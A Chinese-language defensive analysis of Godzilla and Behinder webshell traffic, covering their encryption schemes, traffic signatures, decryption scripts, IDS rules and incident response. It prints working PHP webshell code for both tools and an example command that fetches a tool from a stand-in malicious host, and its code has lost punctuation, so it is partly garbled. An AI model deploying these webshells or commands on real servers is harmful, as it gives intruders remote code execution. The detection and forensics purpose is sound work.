
1. 项目概述当Webshell流量穿上“隐身衣”在网络安全攻防的战场上Webshell管理工具是攻击者控制失陷服务器的“瑞士军刀”。早期的工具如中国菜刀其通信流量是明文的特征明显很容易被安全设备如WAF、IDS捕获并拦截。这就好比在战场上穿着鲜艳的军服冲锋无异于活靶子。为了绕过检测新一代的Webshell管理工具如哥斯拉Godzilla和冰蝎Behinder将“隐身”作为核心设计理念它们对通信流量进行了全程加密试图将自身伪装成正常的HTTPS流量消失在茫茫的数据海洋中。然而道高一尺魔高一丈。对于防守方蓝队和安全研究人员而言理解这些加密流量的内在机制识别其伪装下的“马脚”是构建有效防御体系的关键。这不仅仅是简单的特征匹配而是一场深度的加密对抗分析。你需要像密码学家一样拆解其加密算法像协议分析师一样还原其通信模型像侦探一样寻找其行为特征。本次实战分析我们将深入哥斯拉以v4.0.1为例和冰蝎以v4.1为例两款主流加密Webshell工具的流量从生成、传输到解密完整还原其工作流程并提炼出可用于实战检测的静态与动态特征。无论你是安全运维人员、应急响应工程师还是对Web安全攻防感兴趣的研究者掌握这套分析方法都将使你具备一双看穿加密流量的“火眼金睛”。2. 核心加密机制深度拆解要分析流量首先必须理解工具是如何对流量进行加密的。哥斯拉和冰蝎都采用了“动态密钥”和“载荷分离”的设计思想但具体实现上各有千秋。2.1 哥斯拉的加密哲学会话与混淆哥斯拉的设计核心在于会话Session维持和多层混淆。它并非简单地对所有数据一次性加密而是将通信过程分为初始化、载荷传输、指令执行等多个阶段每个阶段采用不同的处理策略。2.1.1 PHP载荷的异或加密哥斯拉为PHP Shell提供了三种加密器我们以最常见的PHP_XOR_BASE64为例进行拆解。生成的Shell代码如下关键部分已注释?php session_start(); set_time_limit(0); error_reporting(0); function encode($D,$K){ // 异或加密核心将数据$D的每个字节与密钥$K的对应字节进行异或操作 for($i0;$istrlen($D);$i) { $c $K[$i115]; // 密钥循环使用$i115确保索引在0-15之间 $D[$i] $D[$i]^$c; } return $D; } $passpass; // 客户端传递参数的键名 $payloadNamepayload; // 存储在Session中的载荷名 $key3c6e0b8a9c15224a; // 固定密钥16字节 if (isset($_POST[$pass])){ // 1. 解密客户端指令 $dataencode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ // 2. 解密并执行存储在Session中的核心载荷 $payloadencode($_SESSION[$payloadName],$key); if (strpos($payload,getBasicsInfo)false){ $payloadencode($payload,$key); // 关键对非初始化载荷进行二次加密 } eval($payload); // 执行核心载荷如命令执行函数 // 3. 构造响应MD5头 加密结果 MD5尾 echo substr(md5($pass.$key),0,16); echo base64_encode(encode(run($data),$key)); // 加密执行结果 echo substr(md5($pass.$key),16); }else{ // 4. 首次连接存储初始化载荷 if (strpos($data,getBasicsInfo)!false){ $_SESSION[$payloadName]encode($data,$key); } } }加密流程解析请求客户端将待执行的指令如whoami先进行异或加密再Base64编码通过POST参数pass发送。解密与执行服务端Shell收到后先Base64解码再用相同密钥异或解密。首次连接时客户端会发送一个包含getBasicsInfo的特殊指令该指令实际上是一个用于后续所有操作的核心函数库Payload。服务端会将其解密后存入$_SESSION。响应对于后续指令服务端从Session取出核心Payload解密并执行。执行结果run($data)的返回会先被异或加密再Base64编码。最后在加密结果的前后会拼接上由密码和密钥生成的MD5值的前16位和后16位。这是哥斯拉响应包的一个关键固定特征。注意二次加密的玄机代码中if (strpos($payload,getBasicsInfo)false){ $payloadencode($payload,$key); }这一行至关重要。它意味着除了首次初始化的getBasicsInfo载荷外后续从Session中取出的Payload在执行前会被再次用相同密钥异或加密一次。这实际上等于解密因为异或的逆操作就是自身。这里的encode函数调用其真实目的是为了将存储在Session中的、已经加密过一次的Payload“解密”回可执行的明文。这种设计增加了静态分析代码的难度。2.1.2 JSP载荷的AES加密哥斯拉的JSP Shell使用AES加密强度更高。以JAVA_AES_BASE64为例其响应生成部分特征极其明显response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); // x为AES加密函数 response.getWriter().write(md5.substring(16));与PHP类似响应体被构造为[16位MD5][Base64(AES加密数据)][16位MD5]的三段式结构。在流量中你会看到一个Base64字符串被两个固定的16字节字符串夹在中间。2.2 冰蝎的加密哲学简约与模块化冰蝎的加密方案看起来更“干净”和模块化。它采用AES或异或加密密钥直接与连接密码绑定。2.2.1 默认AES加密模式冰蝎生成的PHP Shelldefault_aes非常简洁?php error_reporting(0); function Decrypt($data){ $keye45e329feb5d925b; // 密钥为连接密码MD5的前16位 return openssl_decrypt(base64_decode($data), AES-128-ECB, $key, OPENSSL_PKCS1_PADDING); } $postDecrypt(file_get_contents(php://input)); // 直接从原始输入流读取 eval($post); ?通信流程解析请求冰蝎客户端将需要执行的PHP代码如system(‘whoami’);直接用预设的AES密钥加密然后Base64编码作为HTTP请求的整个Bodyphp://input发送。这里没有URL参数所有数据都在Body里。解密与执行服务端Shell读取整个请求BodyBase64解码后AES解密得到明文PHP代码直接通过eval执行。响应执行结果在服务端被相同的AES密钥加密然后Base64编码返回给客户端。响应格式通常是一个JSON如{status:success,msg:加密后的Base64结果}。其中的msg字段在默认情况下就是请求Body加密内容的原样返回主要用于维持会话和绕过简单的长度检测。2.2.2 密钥协商的缺失一个关键问题是密钥如何同步答案是不需要协商。密钥e45e329feb5d925b是连接密码rebeyond的MD5值前16位。这个密钥被硬编码在生成的Shell中。客户端在连接时使用相同的密码自然能推导出相同的密钥。因此整个通信过程没有密钥交换环节所有流量都使用这个静态密钥加密。这既是优点简单也是弱点一旦密钥泄露所有通信可被解密。3. 实战流量捕获与特征分析理论需要结合实际流量来验证。我们使用Wireshark或Burp Suite抓取通信数据包并结合上述原理进行分析。3.1 哥斯拉流量特征抓取实录环境搭建攻击机客户端安装Java环境运行哥斯拉v4.0.1。靶机服务端部署一个存在文件上传漏洞的Web应用上传生成的PHP_XOR_BASE64类型Shell。抓包点设置在攻击机或网络网关使用Wireshark捕获所有HTTP流量或使用Burp Suite作为代理。连接过程的三次握手哥斯拉连接一个Shell时默认会产生三次HTTP请求这是一个非常稳定的行为特征。第一次请求载荷上传包大小明显大于后续请求因为它包含了完整的初始化PayloadgetBasicsInfo函数库。请求体POST数据是加密后的Base64字符串。响应体通常为空或非常短。因为服务端此时只是接收并存储Payload到Session不返回有效数据。特征这是唯一一次上传核心功能的请求。第二次请求初始化确认Cookie请求头会携带第一次响应设置的PHPSESSID。响应体长度固定为64字节。格式为[16字节MD5头][32字节Base64密文][16字节MD5尾]。这32字节的密文通常是空操作或固定响应的加密结果。特征64字节的固定长度响应和特定的三段式结构是强特征。第三次及后续请求正常指令每次请求都会携带Session Cookie。响应体结构同第二次请求但中间的Base64密文长度会随命令执行结果变化头尾的16字节MD5保持不变。特征每个响应包都以相同的16字节字符串开头和结尾。HTTP头部弱特征Accept头哥斯拉默认使用Accept: text/html,image/gif, image/jpeg, *; q.2, */*; q.2。这个*; q.2, */*; q.2的格式比较罕见。Cookie头末尾经常带有一个分号如Cookie: PHPSESSIDabc123;。这个多余的分号是一个明显的弱特征。User-Agent哥斯拉使用内置的UA虽然可以模拟浏览器但其列表是固定的在大量流量中模式化出现也值得警惕。实操心得如何快速筛选哥斯拉流量在Wireshark中可以尝试使用以下显示过滤器进行初步筛选http and (http.content_length 100) and (http.content_length 5000) // 过滤出可能的数据包然后人工检查响应包寻找是否存在固定前缀/后缀的字符串。更进阶的方法是编写Snort或Suricata规则匹配响应体中/^[0-9a-f]{16}[A-Za-z0-9/][0-9a-f]{16}$/这种模式需考虑Base64填充。3.2 冰蝎流量特征抓取实录冰蝎的通信流程比哥斯拉更简洁通常只有两次必要的请求连接测试和首次指令。连接过程分析第一次请求连接测试请求体整个Body是一个大的Base64字符串内容是加密后的测试代码。Content-Type通常是application/x-www-form-urlencoded但Body内容却不符合keyvalue格式而是一个单纯的Base64字符串这本身有点矛盾。响应体是一个JSON结构如{status:c3VjY2Vzcw,msg:...}。其中status是success的Base64编码msg是请求Body的“回显”。后续指令请求格式与第一次请求基本一致只是Body内容不同。所有通信的加解密都在Body内完成URL通常很干净没有参数。HTTP头部弱特征Accept头Accept: application/json, text/javascript, */*; q0.01这是一个jQuery/Ajax请求常用的Accept头比哥斯拉的更常见隐蔽性稍好但仍可作为一个关联特征。Connection头默认使用Connection: Keep-Alive维持长连接在一次会话中发送多个请求。User-Agent池冰蝎4.0内置了10个常见的UA会随机使用比哥斯拉更难通过UA直接识别。核心特征静态密钥与可解密性这是冰蝎流量分析的最大突破口。由于默认使用AES-128-ECB模式和固定密钥e45e329feb5d925b我们可以直接尝试解密捕获到的流量。实操步骤解密冰蝎流量从Wireshark中追踪HTTP流复制一个请求的整个POST数据一个长的Base64字符串。使用在线AES解密工具如toolhelper.cn等或Python脚本。选择算法AES-128-ECB。输入密钥e45e329feb5d925b。输入密文将Base64字符串先解码为二进制数据如果工具不支持则选择输入格式为Base64。解密后你大概率会得到一段可读的PHP代码例如error_reporting(0);function main($content){...}。这构成了无可辩驳的证据。重要注意事项OPENSSL_PKCS1_PADDING在冰蝎的PHP代码中是一个误导性注释。实际上PHP的openssl_encrypt/decrypt函数在ECB或CBC模式下使用的是OPENSSL_PKCS1_PADDING吗不是。PKCS1是用于RSA的。PHP默认的AES填充是OPENSSL_PKCS7_PADDING或称OPENSSL_PKCS5_PADDING两者在AES语境下等价。许多在线解密工具默认使用PKCS7填充。如果使用OPENSSL_RAW_DATA选项则不填充。冰蝎默认生成的代码使用的是无填充OPENSSL_RAW_DATA或零填充实际测试表明使用OPENSSL_PKCS7_PADDING或OPENSSL_ZERO_PADDING可能失败而选择“无填充”或“ZeroPadding”往往能成功解密。这需要在解密时作为关键点进行尝试。4. 加密对抗的演进与检测思路攻防在不断升级。了解基础特征后我们必须思考如何应对变种和自定义配置。4.1 哥斯拉与冰蝎的“反检测”配置两款工具都提供了一定程度的自定义能力以规避固定特征的检测。哥斯拉自定义HTTP头可以修改User-Agent、Accept等头部信息伪装成普通浏览器流量。自定义密码和密钥生成Shell时可以修改pass和key变量改变通信参数和加密密钥使基于固定字符串3c6e0b8a9c15224a或pass的检测规则失效。加密器选择提供RAW格式不Base64编码使流量看起来像乱码但异或或AES的加密模式不变。冰蝎 v4.0传输协议自定义这是冰蝎最大的亮点。用户可以编写自己的加密/解密函数对完全替换默认的AES/异或算法。这意味着流量特征可以变得独一无二。随机动态密钥通过自定义协议可以实现每次会话使用不同的密钥甚至基于时间或协商生成密钥彻底解决静态密钥问题。流量伪装可以将加密数据嵌入到看似正常的图片上传、表单提交等请求格式中。4.2 防守方的检测策略升级面对可自定义的加密单纯的特征匹配已经力不从心。防守方需要采用多层、多角度的检测策略。4.2.1 静态特征检测基础层文件层面在Web目录下扫描含有特定关键词的恶意文件。例如搜索eval($_POST[、base64_decode、openssl_decrypt、ClassLoader、session_start()与加密函数结合等代码片段。虽然攻击者会混淆但核心函数调用难以完全消除。流量层面已知特征哥斯拉检测HTTP响应中是否存在/^[0-9a-f]{16}[A-Za-z0-9/]{32,}[0-9a-f]{16}$/模式。检测Cookie末尾带分号的特征。冰蝎检测Accept: application/json, text/javascript, */*; q0.01与Content-Type: application/x-www-form-urlencoded但Body是纯Base64的组合。检测HTTP响应为{status:c3VjY2Vzcw,...}这种固定JSON结构。4.2.2 动态行为检测核心层当静态特征被抹去行为分析成为关键。通信模式识别哥斯拉的“三次握手”短时间内如2秒内同一个Session向同一路径发起连续POST请求且第一个请求包较大后续请求包较小响应包具有固定长度特征。这可以通过时序分析和会话跟踪来发现。冰蝎的“长连接”同一个源IP在较长时间内与服务器保持多个Keep-Alive连接发送大量结构相似纯Base64 Body的POST请求且响应多为固定结构的JSON。密钥试探与解密检测对于疑似冰蝎流量可以尝试用常见默认密码rebeyond,password,admin等的MD5前16位作为密钥进行AES解密。如果解密出的数据包含eval(、system(、exec(等危险函数即可判定为恶意。构建一个“解密探针”在沙箱或隔离环境中用疑似密钥尝试解密流量并安全地检查解密内容是否包含可执行代码模式。熵值分析与统计特征加密数据的熵值随机性通常高于正常文本但低于压缩数据。可以计算HTTP Body数据的字节熵值过高或过低都可能值得怀疑。正常Web应用的POST请求参数名如username,file是明文的。而全加密流量的Body没有任何可读的键值对分隔符这是一个重要区别。4.2.3 威胁狩猎与异常模型建立基线了解正常业务流量的模式如哪些URL接受POST、正常的参数大小和范围、常见的User-Agent等。发现异常访问异常路径对上传目录、临时目录等非常规路径的频繁访问。参数异常请求参数名异常如pass,id,c等短小通用的参数名或根本无参数整个Body是数据。时序异常在非工作时间出现规律的、心跳式的通信。关联分析将Web访问日志、文件操作日志如通过HIDS采集、进程执行日志进行关联。例如发现一个Web请求后紧接着系统执行了whoami或ipconfig命令这就是强警报。5. 实战演练从流量包到真相还原让我们模拟一个完整的分析过程。假设我们收到一个告警在/upload/temp.php路径上发现可疑流量。步骤1流量提取与初步观察使用tcpflow或Wireshark的“导出对象”功能提取出HTTP会话。观察发现请求POST /upload/temp.php Body是一个长Base64串。响应HTTP/200 OK Body是{status:c3VjY2Vzcw,msg:...}。头部Accept: application/json, text/javascript, */*; q0.01Connection: Keep-Alive。这初步符合冰蝎特征。步骤2尝试解密复制请求Body例如U2FsdGVkX1...很长。使用Python进行解密尝试import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # 注意填充方式 # 密文和密钥 encrypted_b64 U2FsdGVkX1... key be45e329feb5d925b # 默认密钥 encrypted_data base64.b64decode(encrypted_b64) # 尝试不同模式和填充 cipher AES.new(key, AES.MODE_ECB) # 首先尝试无填充 decrypted cipher.decrypt(encrypted_data) print(decrypted) # 如果输出是乱码尝试去除可能的PKCS7填充 try: decrypted_unpadded unpad(decrypted, AES.block_size) print(decrypted_unpadded.decode(utf-8, errorsignore)) except: print(PKCS7 unpadding failed, trying raw output:, decrypted[:200]) # 打印前200字节看看如果解密成功输出可能包含error_reporting(0);或system($_POST[cmd]);等代码确认是Webshell流量。步骤3行为还原与影响评估根据解密出的指令还原攻击者行为如果解密出file_get_contents(/etc/passwd)说明攻击者在读取系统文件。如果解密出system(wget http://malicious.site/tool -O /tmp/bd)说明攻击者在下载后续工具。记录下攻击者的源IP、时间、所有操作指令用于撰写事件响应报告。步骤4制定遏制与清除方案立即隔离封锁该源IP将受感染服务器从核心网络隔离。清除后门删除/upload/temp.php文件并检查上传目录是否存在其他可疑文件。根因分析检查服务器日志找出最初的文件上传漏洞可能是未鉴权的上传点、文件类型校验绕过等并进行修复。全网排查使用相同的检测规则排查网络内其他服务器是否存在同类Webshell。6. 工具与技巧提升分析效率工欲善其事必先利其器。除了Wireshark和Burp Suite以下工具和技巧能极大提升分析效率。6.1 专用解密与检测工具Godzilla/Behinder Traffic DecryptorGitHub上存在一些开源项目专门用于解密哥斯拉和冰蝎的流量。它们通常内置了常见的密钥和算法可以一键尝试解密。Suricata/Snort IDS规则编写或使用社区规则来检测已知特征。例如alert http any any - $HOME_NET any (msg:SUSPICIOUS - Possible Godzilla Webshell Response; flow:established,to_client; content:|3c6e0b8a9c15224a|; distance:0; within:16; content:|3c6e0b8a9c15224a|; distance:32; within:16; http_response_body; sid:1000001; rev:1;)这条规则检测响应体中特定位置出现的哥斯拉默认密钥作为MD5的一部分但容易被修改密钥绕过。YARA规则用于在文件系统或内存中扫描Webshell代码片段。可以定义规则匹配冰蝎的Decrypt函数或哥斯拉的encode函数特征。6.2 分析技巧与避坑指南不要只看端口80/443高级攻击者可能将Webshell通信端口改为其他非常见端口如8080、8443或甚至使用DNS、ICMP等协议隧道传输数据。需要进行全流量分析。注意加密流量的“正常化”伪装冰蝎可以将加密数据伪装成multipart/form-data文件上传哥斯拉可以修改所有HTTP头。此时需要更专注于通信行为模式如固定间隔的心跳、无浏览器交互的长时间POST会话和应用层上下文访问路径是否敏感。解密失败怎么办检查密钥确认是否使用了自定义密码。可以尝试从捕获的Webshell文件本身中搜索密钥字符串。检查算法和模式是AES还是异或是ECB还是CBC是否有IV初始化向量冰蝎新版可能使用CBC模式。检查填充这是最常见的坑。尝试No padding、PKCS7、Zero padding等多种方式。检查编码确保在解密前进行了正确的Base64解码或其它可能的编码如Hex。关注“低慢小”流量为了隐蔽攻击者可能降低通信频率压缩或分片传输数据。对于长时间、低频、但持续存在的异常会话要保持警惕。6.3 构建持续检测能力单次分析是“救火”构建体系才是“防火”。在WAF/网关部署检测规则将提炼出的静态特征如HTTP头特征、响应体模式和行为特征如三次请求模式写成规则在边界进行实时检测和拦截。部署HIDS主机入侵检测系统在服务器上安装Agent监控Web目录的文件创建、修改行为监控PHP/JSP进程执行系统命令的行为。这是对抗加密Webshell的最后一道防线因为无论流量如何加密最终在服务器上执行命令的行为是藏不住的。建立SOC安全运营中心分析流程将网络流量日志、主机日志、WAF日志汇总到SIEM平台建立关联分析告警。例如告警规则可以是“同一源IP在1分钟内对同一Web路径发起3次POST请求且响应包长度模式符合哥斯拉特征则产生高危告警”。加密与解密的对抗是网络安全永恒的课题。哥斯拉和冰蝎代表了当前Webshell隐蔽通信的主流技术水平。作为防守方我们的优势在于拥有环境的主导权和对正常业务流量的深刻理解。通过深入分析加密原理、掌握流量特征、构建多层行为检测模型我们完全有能力将这些“隐身”的威胁从加密流量中揪出来。记住没有绝对完美的隐身任何通信都会留下行为的痕迹。这场对抗的关键在于我们是否拥有足够细致入微的观察力和系统化的分析思维。